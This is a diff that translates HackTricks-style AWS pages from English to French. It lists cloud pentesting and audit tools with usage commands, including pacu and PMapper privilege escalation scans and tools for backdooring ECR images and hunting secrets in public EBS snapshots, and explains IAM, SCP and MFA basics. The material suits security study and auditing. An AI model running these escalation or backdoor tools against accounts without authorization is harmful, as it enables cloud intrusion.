||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
|
||||
- Note that pacu **only checks your own privescs paths** (not account wide).
|
||||
### Privesc & Exploitation
|
||||
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Découvrez les utilisateurs les plus privilégiés dans l'environnement AWS scanné, y compris les AWS Shadow Admins. Il utilise powershell. Vous pouvez trouver la **définition des politiques privilégiées** dans la fonction **`Check-PrivilegedPolicy`** dans [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu) : Pacu est un **framework d'exploitation AWS** open-source, conçu pour les tests de sécurité offensive contre les environnements cloud. Il peut **énumérer**, trouver des **mauvais configurations** et **les exploiter**. Vous pouvez trouver la **définition des permissions privilégiées** dans [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) à l'intérieur du dict **`user_escalation_methods`**.
|
||||
- Notez que pacu **vérifie uniquement vos propres chemins de privesc** (pas à l'échelle du compte).
|
||||
```bash
|
||||
# Install
|
||||
## Feel free to use venvs
|
||||
@@ -264,9 +255,7 @@ pacu
|
||||
> exec iam__enum_permissions # Get permissions
|
||||
> exec iam__privesc_scan # List privileged permissions
|
||||
```
|
||||
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper) : Principal Mapper (PMapper) est un script et une bibliothèque pour identifier les risques dans la configuration de AWS Identity and Access Management (IAM) pour un compte AWS ou une organisation AWS. Il modélise les différents utilisateurs et rôles IAM dans un compte sous forme de graphe orienté, ce qui permet de vérifier les **élévations de privilèges** et les chemins alternatifs qu'un attaquant pourrait emprunter pour accéder à une ressource ou à une action dans AWS. Vous pouvez vérifier les **permissions utilisées pour trouver des chemins de privesc** dans les fichiers se terminant par `_edges.py` dans [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
```bash
|
||||
# Install
|
||||
pip install principalmapper
|
||||
@@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
|
||||
pmapper --profile dev orgs create
|
||||
pmapper --profile dev orgs display
|
||||
```
|
||||
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
|
||||
It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
|
||||
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining) : Cloudsplaining est un outil d'évaluation de la sécurité AWS IAM qui identifie les violations du principe du moindre privilège et génère un rapport HTML priorisé par risque.\
|
||||
Il vous montrera les clients **trop privilégiés**, les **politiques** en ligne et AWS, ainsi que les **principaux ayant accès à celles-ci**. (Il vérifie non seulement les élévations de privilèges, mais aussi d'autres types de permissions intéressantes, recommandé à utiliser).
|
||||
```bash
|
||||
# Install
|
||||
pip install cloudsplaining
|
||||
@@ -303,24 +290,20 @@ cloudsplaining download --profile dev
|
||||
# Analyze the IAM policies
|
||||
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
|
||||
```
|
||||
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack) : CloudJack évalue les comptes AWS pour des **vulnérabilités de détournement de sous-domaine** en raison de configurations déconnectées de Route53 et CloudFront.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat) : Lister les dépôts ECR -> Tirer le dépôt ECR -> Installer un backdoor -> Pousser l'image avec backdoor
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag) : Dufflebag est un outil qui **cherche** à travers les snapshots publics d'Elastic Block Storage (**EBS**) des secrets qui ont pu être accidentellement laissés.
|
||||
|
||||
### Audit
|
||||
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
|
||||
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit par Aqua est un projet open-source conçu pour permettre la détection des **risques de sécurité dans les comptes d'infrastructure cloud**, y compris : Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) et GitHub (Il ne recherche pas les ShadowAdmins).
|
||||
```bash
|
||||
./index.js --csv=file.csv --console=table --config ./config.js
|
||||
|
||||
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
|
||||
## use "cis" for cis level 1 and 2
|
||||
```
|
||||
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
|
||||
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler) : Prowler est un outil de sécurité Open Source pour effectuer des évaluations des meilleures pratiques de sécurité AWS, des audits, des réponses aux incidents, une surveillance continue, un durcissement et une préparation à la criminalistique.
|
||||
```bash
|
||||
# Install python3, jq and git
|
||||
# Install
|
||||
@@ -331,15 +314,11 @@ prowler -v
|
||||
prowler <provider>
|
||||
prowler aws --profile custom-profile [-M csv json json-asff html]
|
||||
```
|
||||
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
|
||||
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox vous aide à acquérir une conscience situationnelle dans des environnements cloud inconnus. C'est un outil en ligne de commande open source créé pour aider les testeurs de pénétration et d'autres professionnels de la sécurité offensive à trouver des chemins d'attaque exploitables dans l'infrastructure cloud.
|
||||
```bash
|
||||
cloudfox aws --profile [profile-name] all-checks
|
||||
```
|
||||
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
|
||||
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite) : Scout Suite est un outil d'audit de sécurité multi-cloud open source, qui permet l'évaluation de la posture de sécurité des environnements cloud.
|
||||
```bash
|
||||
# Install
|
||||
virtualenv -p python3 venv
|
||||
@@ -350,18 +329,16 @@ scout --help
|
||||
# Get info
|
||||
scout aws -p dev
|
||||
```
|
||||
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite) : Cloud Security Suite (utilise python2.7 et semble non maintenu)
|
||||
- [**Zeus**](https://github.com/DenizParlak/Zeus) : Zeus est un outil puissant pour les meilleures pratiques de durcissement AWS EC2 / S3 / CloudTrail / CloudWatch / KMS (semble non maintenu). Il vérifie uniquement les identifiants configurés par défaut dans le système.
|
||||
|
||||
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
|
||||
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
|
||||
### Audit Constant
|
||||
|
||||
### Constant Audit
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
|
||||
|
||||
## DEBUG: Capture AWS cli requests
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian) : Cloud Custodian est un moteur de règles pour gérer les comptes et ressources de cloud public. Il permet aux utilisateurs de **définir des politiques pour permettre une infrastructure cloud bien gérée**, à la fois sécurisée et optimisée en coûts. Il consolide de nombreux scripts ad hoc que les organisations ont en un outil léger et flexible, avec des métriques et des rapports unifiés.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)** : Policy as Code Bot (PacBot)** est une plateforme pour **la surveillance continue de la conformité, le reporting de conformité et l'automatisation de la sécurité pour le cloud**. Dans PacBot, les politiques de sécurité et de conformité sont mises en œuvre sous forme de code. Toutes les ressources découvertes par PacBot sont évaluées par rapport à ces politiques pour mesurer la conformité aux politiques. Le cadre **auto-fix** de PacBot offre la possibilité de répondre automatiquement aux violations de politiques en prenant des actions prédéfinies.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)** :** StreamAlert est un cadre d'analyse de données **en temps réel** sans serveur qui vous permet de **ingérer, analyser et alerter** sur des données provenant de n'importe quel environnement, **en utilisant des sources de données et une logique d'alerte que vous définissez**. Les équipes de sécurité informatique utilisent StreamAlert pour scanner des téraoctets de données de journaux chaque jour pour la détection et la réponse aux incidents.
|
||||
|
||||
## DEBUG : Capturer les requêtes AWS cli
|
||||
```bash
|
||||
# Set proxy
|
||||
export HTTP_PROXY=http://localhost:8080
|
||||
@@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
|
||||
# Run aws cli normally trusting burp cert
|
||||
aws ...
|
||||
```
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
|
||||
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,351 +1,333 @@
|
||||
# AWS - Basic Information
|
||||
# AWS - Informations de base
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organization Hierarchy
|
||||
## Hiérarchie de l'organisation
|
||||
|
||||
.png>)
|
||||
|
||||
### Accounts
|
||||
### Comptes
|
||||
|
||||
In AWS, there is a **root account**, which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them.
|
||||
Dans AWS, il y a un **compte root**, qui est le **conteneur parent pour tous les comptes** de votre **organisation**. Cependant, vous n'avez pas besoin d'utiliser ce compte pour déployer des ressources, vous pouvez créer **d'autres comptes pour séparer différentes infrastructures AWS** entre elles.
|
||||
|
||||
This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments.
|
||||
C'est très intéressant d'un point de vue **sécurité**, car **un compte ne pourra pas accéder aux ressources d'un autre compte** (sauf si des ponts sont spécifiquement créés), de cette manière vous pouvez créer des limites entre les déploiements.
|
||||
|
||||
Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
|
||||
Par conséquent, il y a **deux types de comptes dans une organisation** (nous parlons de comptes AWS et non de comptes utilisateurs) : un seul compte désigné comme compte de gestion, et un ou plusieurs comptes membres.
|
||||
|
||||
- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
|
||||
- Le **compte de gestion (le compte root)** est le compte que vous utilisez pour créer l'organisation. À partir du compte de gestion de l'organisation, vous pouvez faire ce qui suit :
|
||||
|
||||
- Create accounts in the organization
|
||||
- Invite other existing accounts to the organization
|
||||
- Remove accounts from the organization
|
||||
- Manage invitations
|
||||
- Apply policies to entities (roots, OUs, or accounts) within the organization
|
||||
- Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
|
||||
- It's possible to login as the root user using the email and password used to create this root account/organization.
|
||||
- Créer des comptes dans l'organisation
|
||||
- Inviter d'autres comptes existants à l'organisation
|
||||
- Supprimer des comptes de l'organisation
|
||||
- Gérer les invitations
|
||||
- Appliquer des politiques aux entités (roots, OUs ou comptes) au sein de l'organisation
|
||||
- Activer l'intégration avec les services AWS pris en charge pour fournir des fonctionnalités de service à tous les comptes de l'organisation.
|
||||
- Il est possible de se connecter en tant qu'utilisateur root en utilisant l'email et le mot de passe utilisés pour créer ce compte/organisation root.
|
||||
|
||||
The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
|
||||
|
||||
- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
|
||||
- Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
|
||||
Le compte de gestion a les **responsabilités d'un compte payeur** et est responsable du paiement de tous les frais accumulés par les comptes membres. Vous ne pouvez pas changer le compte de gestion d'une organisation.
|
||||
|
||||
- Les **comptes membres** constituent tous les autres comptes d'une organisation. Un compte ne peut être membre que d'une seule organisation à la fois. Vous pouvez attacher une politique à un compte pour appliquer des contrôles uniquement à ce compte.
|
||||
- Les comptes membres **doivent utiliser une adresse email valide** et peuvent avoir un **nom**, en général ils ne pourront pas gérer la facturation (mais ils pourraient y avoir accès).
|
||||
```
|
||||
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
|
||||
```
|
||||
### **Unités d'Organisation**
|
||||
|
||||
### **Organization Units**
|
||||
|
||||
Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children.
|
||||
|
||||
Les comptes peuvent être regroupés en **Unités d'Organisation (OU)**. De cette manière, vous pouvez créer des **politiques** pour l'Unité d'Organisation qui vont être **appliquées à tous les comptes enfants**. Notez qu'une OU peut avoir d'autres OUs comme enfants.
|
||||
```bash
|
||||
# You can get the root id from aws organizations list-roots
|
||||
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
|
||||
```
|
||||
|
||||
### Service Control Policy (SCP)
|
||||
|
||||
A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**.
|
||||
Une **service control policy (SCP)** est une politique qui spécifie les services et actions que les utilisateurs et rôles peuvent utiliser dans les comptes que la SCP affecte. Les SCP sont **similaires aux politiques de permissions IAM** sauf qu'elles **ne donnent aucune permission**. Au lieu de cela, les SCP spécifient les **permissions maximales** pour une organisation, une unité organisationnelle (OU) ou un compte. Lorsque vous attachez une SCP à la racine de votre organisation ou à une OU, la **SCP limite les permissions pour les entités dans les comptes membres**.
|
||||
|
||||
This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
|
||||
The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
|
||||
C'est le SEUL moyen par lequel **même l'utilisateur root peut être arrêté** de faire quelque chose. Par exemple, cela pourrait être utilisé pour empêcher les utilisateurs de désactiver CloudTrail ou de supprimer des sauvegardes.\
|
||||
Le seul moyen de contourner cela est de compromettre également le **compte maître** qui configure les SCP (le compte maître ne peut pas être bloqué).
|
||||
|
||||
> [!WARNING]
|
||||
> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
|
||||
> Notez que **les SCP ne restreignent que les principaux dans le compte**, donc d'autres comptes ne sont pas affectés. Cela signifie qu'avoir une SCP qui refuse `s3:GetObject` n'arrêtera pas les gens d'**accéder à un bucket S3 public** dans votre compte.
|
||||
|
||||
SCP examples:
|
||||
Exemples de SCP :
|
||||
|
||||
- Deny the root account entirely
|
||||
- Only allow specific regions
|
||||
- Only allow white-listed services
|
||||
- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
|
||||
- Refuser complètement le compte root
|
||||
- Autoriser uniquement des régions spécifiques
|
||||
- Autoriser uniquement des services sur liste blanche
|
||||
- Refuser que GuardDuty, CloudTrail et S3 Public Block Access soient désactivés
|
||||
- Refuser que les rôles de sécurité/réponse aux incidents soient supprimés ou modifiés.
|
||||
- Refuser que les sauvegardes soient supprimées.
|
||||
- Refuser la création d'utilisateurs IAM et de clés d'accès
|
||||
|
||||
being disabled
|
||||
|
||||
- Deny security/incident response roles from being deleted or
|
||||
|
||||
modified.
|
||||
|
||||
- Deny backups from being deleted.
|
||||
- Deny creating IAM users and access keys
|
||||
|
||||
Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
|
||||
Trouvez des **exemples JSON** dans [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
|
||||
|
||||
### Resource Control Policy (RCP)
|
||||
|
||||
A **resource control policy (RCP)** is a policy that defines the **maximum permissions for resources within your AWS organization**. RCPs are similar to IAM policies in syntax but **don’t grant permissions**—they only cap the permissions that can be applied to resources by other policies. When you attach an RCP to your organization root, an organizational unit (OU), or an account, the RCP limits resource permissions across all resources in the affected scope.
|
||||
Une **resource control policy (RCP)** est une politique qui définit les **permissions maximales pour les ressources au sein de votre organisation AWS**. Les RCP sont similaires aux politiques IAM en syntaxe mais **ne donnent pas de permissions**—elles ne font que plafonner les permissions qui peuvent être appliquées aux ressources par d'autres politiques. Lorsque vous attachez une RCP à la racine de votre organisation, à une unité organisationnelle (OU) ou à un compte, la RCP limite les permissions des ressources sur toutes les ressources dans le champ d'application affecté.
|
||||
|
||||
This is the ONLY way to ensure that **resources cannot exceed predefined access levels**—even if an identity-based or resource-based policy is too permissive. The only way to bypass these limits is to also modify the RCP configured by your organization’s management account.
|
||||
C'est le SEUL moyen de s'assurer que **les ressources ne peuvent pas dépasser des niveaux d'accès prédéfinis**—même si une politique basée sur l'identité ou sur la ressource est trop permissive. Le seul moyen de contourner ces limites est de modifier également la RCP configurée par le compte de gestion de votre organisation.
|
||||
|
||||
> [!WARNING]
|
||||
> RCPs only restrict the permissions that resources can have. They don’t directly control what principals can do. For example, if an RCP denies external access to an S3 bucket, it ensures that the bucket’s permissions never allow actions beyond the set limit—even if a resource-based policy is misconfigured.
|
||||
> Les RCP ne restreignent que les permissions que les ressources peuvent avoir. Elles ne contrôlent pas directement ce que les principaux peuvent faire. Par exemple, si une RCP refuse l'accès externe à un bucket S3, elle garantit que les permissions du bucket ne permettent jamais d'actions au-delà de la limite fixée—même si une politique basée sur la ressource est mal configurée.
|
||||
|
||||
RCP examples:
|
||||
Exemples de RCP :
|
||||
|
||||
- Restrict S3 buckets so they can only be accessed by principals within your organization
|
||||
- Limit KMS key usage to only allow operations from trusted organizational accounts
|
||||
- Cap permissions on SQS queues to prevent unauthorized modifications
|
||||
- Enforce access boundaries on Secrets Manager secrets to protect sensitive data
|
||||
- Restreindre les buckets S3 afin qu'ils ne puissent être accessibles que par des principaux au sein de votre organisation
|
||||
- Limiter l'utilisation des clés KMS pour n'autoriser que les opérations des comptes organisationnels de confiance
|
||||
- Plafonner les permissions sur les files d'attente SQS pour empêcher les modifications non autorisées
|
||||
- Faire respecter des limites d'accès sur les secrets de Secrets Manager pour protéger les données sensibles
|
||||
|
||||
Find examples in [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
|
||||
Trouvez des exemples dans [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
|
||||
|
||||
### ARN
|
||||
|
||||
**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this:
|
||||
|
||||
**Amazon Resource Name** est le **nom unique** que chaque ressource à l'intérieur d'AWS possède, il est composé comme ceci :
|
||||
```
|
||||
arn:partition:service:region:account-id:resource-type/resource-id
|
||||
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
|
||||
```
|
||||
Notez qu'il y a 4 partitions dans AWS mais seulement 3 façons de les appeler :
|
||||
|
||||
Note that there are 4 partitions in AWS but only 3 ways to call them:
|
||||
- AWS Standard : `aws`
|
||||
- AWS China : `aws-cn`
|
||||
- AWS US public Internet (GovCloud) : `aws-us-gov`
|
||||
- AWS Secret (US Classified) : `aws`
|
||||
|
||||
- AWS Standard: `aws`
|
||||
- AWS China: `aws-cn`
|
||||
- AWS US public Internet (GovCloud): `aws-us-gov`
|
||||
- AWS Secret (US Classified): `aws`
|
||||
## IAM - Gestion des identités et des accès
|
||||
|
||||
## IAM - Identity and Access Management
|
||||
IAM est le service qui vous permettra de gérer **l'authentification**, **l'autorisation** et **le contrôle d'accès** au sein de votre compte AWS.
|
||||
|
||||
IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
|
||||
- **Authentification** - Processus de définition d'une identité et de vérification de cette identité. Ce processus peut être subdivisé en : Identification et vérification.
|
||||
- **Autorisation** - Détermine ce qu'une identité peut accéder au sein d'un système une fois qu'elle a été authentifiée.
|
||||
- **Contrôle d'accès** - La méthode et le processus par lesquels l'accès est accordé à une ressource sécurisée.
|
||||
|
||||
- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
|
||||
- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
|
||||
- **Access Control** - The method and process of how access is granted to a secure resource
|
||||
IAM peut être défini par sa capacité à gérer, contrôler et gouverner les mécanismes d'authentification, d'autorisation et de contrôle d'accès des identités à vos ressources au sein de votre compte AWS.
|
||||
|
||||
IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
|
||||
### [Utilisateur racine du compte AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
|
||||
### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
Lorsque vous créez pour la première fois un compte Amazon Web Services (AWS), vous commencez avec une identité de connexion unique qui a **un accès complet à tous** les services et ressources AWS dans le compte. C'est l'**utilisateur racine** du compte AWS et il est accessible en se connectant avec **l'adresse e-mail et le mot de passe que vous avez utilisés pour créer le compte**.
|
||||
|
||||
When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**.
|
||||
Notez qu'un nouvel **utilisateur admin** aura **moins de permissions que l'utilisateur racine**.
|
||||
|
||||
Note that a new **admin user** will have **less permissions that the root user**.
|
||||
D'un point de vue sécurité, il est recommandé de créer d'autres utilisateurs et d'éviter d'utiliser celui-ci.
|
||||
|
||||
From a security point of view, it's recommended to create other users and avoid using this one.
|
||||
### [Utilisateurs IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
|
||||
### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
Un _utilisateur_ IAM est une entité que vous créez dans AWS pour **représenter la personne ou l'application** qui l'utilise pour **interagir avec AWS**. Un utilisateur dans AWS se compose d'un nom et de références (mot de passe et jusqu'à deux clés d'accès).
|
||||
|
||||
An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys).
|
||||
Lorsque vous créez un utilisateur IAM, vous lui accordez des **permissions** en le rendant **membre d'un groupe d'utilisateurs** qui a des politiques de permission appropriées attachées (recommandé), ou en **attachant directement des politiques** à l'utilisateur.
|
||||
|
||||
When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user.
|
||||
|
||||
Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
Les utilisateurs peuvent avoir **MFA activé pour se connecter** via la console. Les jetons API des utilisateurs avec MFA activé ne sont pas protégés par MFA. Si vous souhaitez **restreindre l'accès des clés API d'un utilisateur en utilisant MFA**, vous devez indiquer dans la politique qu'en vue d'effectuer certaines actions, MFA doit être présent (exemple [**ici**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
|
||||
#### CLI
|
||||
|
||||
- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
|
||||
- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
|
||||
- **ID de clé d'accès** : 20 caractères alphanumériques majuscules aléatoires comme AKHDNAPO86BSHKDIRYT
|
||||
- **ID de clé d'accès secrète** : 40 caractères aléatoires en majuscules et minuscules : S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Il n'est pas possible de récupérer les ID de clé d'accès secrète perdus).
|
||||
|
||||
Whenever you need to **change the Access Key** this is the process you should follow:\
|
||||
_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
|
||||
Chaque fois que vous devez **changer la clé d'accès**, voici le processus que vous devez suivre :\
|
||||
_Créez une nouvelle clé d'accès -> Appliquez la nouvelle clé au système/application -> marquez l'original comme inactif -> Testez et vérifiez que la nouvelle clé d'accès fonctionne -> Supprimez l'ancienne clé d'accès_
|
||||
|
||||
### MFA - Multi Factor Authentication
|
||||
### MFA - Authentification Multi-Facteurs
|
||||
|
||||
It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\
|
||||
You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
|
||||
Il est utilisé pour **créer un facteur supplémentaire pour l'authentification** en plus de vos méthodes existantes, telles que le mot de passe, créant ainsi un niveau d'authentification multi-facteurs.\
|
||||
Vous pouvez utiliser une **application virtuelle gratuite ou un appareil physique**. Vous pouvez utiliser des applications comme Google Authenticator gratuitement pour activer un MFA dans AWS.
|
||||
|
||||
Policies with MFA conditions can be attached to the following:
|
||||
Les politiques avec des conditions MFA peuvent être attachées aux éléments suivants :
|
||||
|
||||
- An IAM user or group
|
||||
- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
|
||||
- The trust policy of an IAM role that can be assumed by a user
|
||||
|
||||
If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
|
||||
Note that **`AssumeRole` credentials don't contain this information**.
|
||||
- Un utilisateur ou un groupe IAM
|
||||
